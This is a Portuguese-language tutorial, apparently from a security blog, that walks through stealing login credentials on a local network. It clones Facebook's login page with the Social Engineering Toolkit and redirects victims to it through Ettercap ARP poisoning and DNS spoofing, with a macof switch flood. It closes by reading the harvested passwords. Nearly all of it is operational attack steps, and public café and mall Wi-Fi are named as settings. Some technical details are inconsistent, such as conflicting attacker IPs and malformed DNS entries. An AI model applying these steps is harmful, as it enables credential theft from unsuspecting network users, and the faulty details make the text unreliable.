Capturando senhas com Social Engineering Toolkit e Ettercap

Neste exemplo estarei fazendo um Spoofing na rede e redirecionando todas as requisições de um determinado site para a minha máquina, fazendo o cliente pensar que eu sou o servidor e confiando suas credenciais pra mim em forma de POST.
A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da comunicação entre duas máquinas e interceptar as informações enviadas entre ambas, fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego, e essa técnica é mais conhecida como Man in the Middle. Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de frequentar.


Esse tipo de rede trabalha com dois endereços de identificação: O MAC Address e o IP.
O endereço MAC é o endereço físico da placa de rede, e o padrão Ethernet envia os dados em forma de (relativamente) pequenos frames de 1500 bytes, e os cabeçalhos de identificação Ethernet desses frames enviam o endereço MAC para a identificação entre clientes e servidores durante a troca de informações.

O IP (Internet Protocol) é o endereço que é atribuído a placa de rede independente de onde ela opera, seja por métodos estáticos ou dinâmicos.

Esses dois endereços de identificação devem trabalhar juntos para o envio, fragmentação e identificação dos frames na rede e envio para a porta destino mapeadas anteriormente e identificadas pelo MAC e IP.

Como funciona o protocolo ARP? 
O ARP (Address Resolution Protocol) é o protocolo de resolução de nomes dentro de uma rede. Ele tem a função de vincular um IP virtual ao seu devido endereço físico. Quando um pacote chega da Internet para a rede interna, o Gateway tem a função de ler o cabeçalho da requisição, encontrar o MAC Address responsável e encaminhar para o IP virtual  responsável. E a técnica que iremos utilizar aqui irá "by-passar" essa resolução, bagunçando o cache do ARP e fazendo com que o cliente e servidor redirecionem os pacotes trafegados para onde a gente quiser.



Sem mais firulas, hands on!!

Utilizando o SET (Social Engineering Toolkit

Preparando o ambiente
Se você estiver realizando o ataque em um ambiente Kali, será necessário algumas preparações antes de prosseguir. Vamos editar o arquivo /etc/setoolkit/set.config  e mudar o parâmetro que define o diretório root do apache. 

Inicie o apache

# service apache2 start

Edite o diretório root do apache

O SET por padrão salva os sites clonados no diretório /var/www/, porém o DocumentRoot das versões mais novas, vêm apontado diretamente para a pasta /var/www/html. Vamos ajustar esse parâmetro antes de continuarmos com o ataque. 
# vim /etc/setoolkit/set.config 
Altere o parâmetro APACHE_DIRECTORY para o valor /var/www/html/

1. Clonando o site alvo

Esse exemplo terá uma mescla de engenharia social no quesito de ferramental. Normalmente, você utilizaria essa ferramenta para criar um link falso e fazer uma pessoa clicar para capturar por POST os dados que ela digitou, nesse exemplo vamos só clonar o site e realizar a mágica mais tarde.
Ative o Social Engineering Toolkit
#setoolkit 

Agora nessa ordem:
Selecione a opção 1 "Social-Engineering Attacks"
Selecione a opção 2 "Website Attack Vectors"
Selecione a opção 3 "Credential Harvester Attack Method"
Selecione a opção 2 "Site Cloner"
Neste passo iremos definir o IP da sua máquina que servirá de servidor para o ataque. Os dados vão ser enviados pra cá no caso, caso esteja em dúvida você poderá ver o seu IP na rede abrindo outro terminal e digitando

#ip addr
ou
#ifconfig
Agora você vai digitar o site que será clonado, vamo realizar o ataque clonando o Facebook.
# www.facebook.com
Ele irá realizar o clone e gravar na pasta /var/www/html. Dependendo da sua versão do apache, ele vai jogar o DocumentRoot no diretório /var/www/htdocs ou /var/www/html
 Agora no navegador digite "localhost" para ver ele clonou tudo certinho.
 
2. Realizando o Arp Poisoning
Ok, tudo perfeito. Agora vamos realizar uma técnica chamada Arp Spoofing
Edite o arquivo /etc/ettercap/etter.dns
#vim /etc/ettercap/etter.dns
e adicione as linhas no final do arquivo
    facebook.com A 192.168.0.100
    m.facebook.com A 192.168.0.100
    *.facebook.com A 192.168.0.100
    www.facebook.com PTR 192.168.0.100
    https://www.facebook.com A 192.168.0.0.100
Sendo o IP 192.168.0.100 o número do seu IP como atacante. 
Esse parâmetro irá redirecionar todo o tráfego mandado para o facebook para a sua máquina, você conseguiu esse resultado deixando o servidor de resolução de nomes maluco. 
Abra o ettercap
Na aba Sniff selecione a opção "Unified Sniff"
Na aba Host, selecione a opção "Scan for hosts" ou dê um Ctrl + S para procurar os hosts em sua rede.
Novamente na aba "hosts" selecione a opção "Host List"
Selecione o Gateway e o IP que deseja sniffar e clique em "Add to Target 2"
Caso esteja realizando o ataque de uma rede com Switches, abra um terminal, e como root digite
# macof
Este comando irá inundar o filtro de MAC no Switch e irá facilitar o spoofing
Em seguida clique em "Plugins" e logo após um duplo clique sobre a opção "dns_spoof"
Feito isso, vá até a aba Mitm e selecione "Arp Poisoning" clicando no checkbox "Sniff remote connections" e clique em Ok.
Logo após vá na aba "Start" e selecione "Start Sniffing"

3. Realizando o ataque 

Agora vamos esperar que o alvo entre na url www.facebook.com
Como você deixou o protocolo ARP da rede totalmente maluco, fazendo ele atender aos nameservers do seu computador ao invés dos DNS padrões, quando o alvo solicitou uma requisição para o facebook.com, ele pediu para o seu computador estabelecer a rota, e ele retornou com a resposta de que o seu computador é o servidor e apresentou a página clonada do site.
Veja que nos logs do Ettercap ele mostra que o plugin de DNS Spoof redirecionou o acesso do facebook.com para o servidor 192.168.0.113, que no caso é a sua máquina.

4. Agora vamos ver a senha capturada: 

O SET cria um arquivo chamado harvester_ano_dia_mes hora.txt no diretório do Apache. Vamos dar um cat no arquivo
# cd /var/www/html
# ls -l
# cat harvester_2015-19-03\ 20\:34\:58.901465.txt
Lembrando que estas ferramentas e técnicas são específicas para análise e identificação de vulnerabilidades de segurança em redes corporativas, e não para cometer crimes.